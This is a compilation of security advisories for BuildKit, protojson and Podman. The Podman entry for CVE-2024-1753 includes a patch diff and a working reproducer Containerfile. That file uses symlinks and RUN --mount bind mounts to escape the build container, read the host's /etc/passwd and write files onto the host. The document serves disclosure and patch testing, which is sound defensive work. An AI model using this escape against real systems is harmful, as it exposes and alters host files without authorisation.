Package Instance

BuildKit vulnerable to possible host system access from mount stub cleaner
### Impact
A malicious BuildKit frontend or Dockerfile using `RUN --mount` could trick the feature that removes empty files created for the mountpoints into removing a file outside the container, from the host system.

### Patches
The issue has been fixed in v0.12.5

### Workarounds
Avoid using BuildKit frontend from an untrusted source or building an untrusted Dockerfile containing `RUN --mount` feature.

### References

BuildKit vulnerable to possible race condition with accessing subpaths from cache mounts
### Impact
Two malicious build steps running in parallel sharing the same cache mounts with subpaths could cause a race condition that can lead to files from the host system being accessible to the build container.

### Patches
The issue has been fixed in v0.12.5

### Workarounds
Avoid using BuildKit frontend from an untrusted source or building an untrusted Dockerfile containing cache mounts with `--mount=type=cache,source=...` options.

### References
https://www.openwall.com/lists/oss-security/2019/05/28/1

Buildkit's interactive containers API does not validate entitlements check
### Impact
In addition to running containers as build steps, BuildKit also provides APIs for running interactive containers based on built images. It was possible to use these APIs to ask BuildKit to run a container with elevated privileges. Normally, running such containers is only allowed if special `security.insecure` entitlement is enabled both by buildkitd configuration and allowed by the user initializing the build request.

### Patches
The issue has been fixed in v0.12.5 .

### Workarounds
Avoid using BuildKit frontends from untrusted sources. A frontend image is usually specified as the `#syntax` line on your Dockerfile, or with `--frontend` flag when using `buildctl build` command.

### References

Golang protojson.Unmarshal function infinite loop when unmarshaling certain forms of invalid JSON
The protojson.Unmarshal function can enter an infinite loop when unmarshaling certain forms of invalid JSON. This condition can occur when unmarshaling into a message which contains a google.protobuf.Any value, or when the UnmarshalOptions.DiscardUnknown option is set.

Podman affected by CVE-2024-1753 container escape at build time
### Impact
_What kind of vulnerability is it? Who is impacted?_

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled.  With selinux enabled, some read access is allowed.

### Patches
From @nalind .  This is a patch for Buildah (https://github.com/containers/buildah).  Once fixed there, Buildah will be vendored into Podman.

```
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set
```
### Reproducer

Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor.   Also create a memorably named file in `/`.  Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`.  After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

```
# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 
```

#### To Test

##### Testing with an older version of Podman with the issue
```
setenforce 0
podman build -f ~/cve_Containerfile .
```

As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created.  In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed.  Be sure to remove those two files between tests.  

```
podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .
```
Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created.  An error should be raised during the build when both files are trying to be created.  Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file.  

However, the files in both the `/` and `/etc` directories on the host system will be displayed.

##### Testing with the patch

Use the same commands as testing with an older version of Podman.

When running using the patched version of Podman, regardless of the `setenforce` settings,  you should not see the file that you created or the user that you added.  Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.

NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system.  Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.


### Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems.  With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit.  With "setenfoce 1" set, which is the recommendation, files can not be changed.  However, the contents of the `/` directory can be displayed.  I.e., `ls -alF /` will show the contents of the host directory.

### References

Unknown.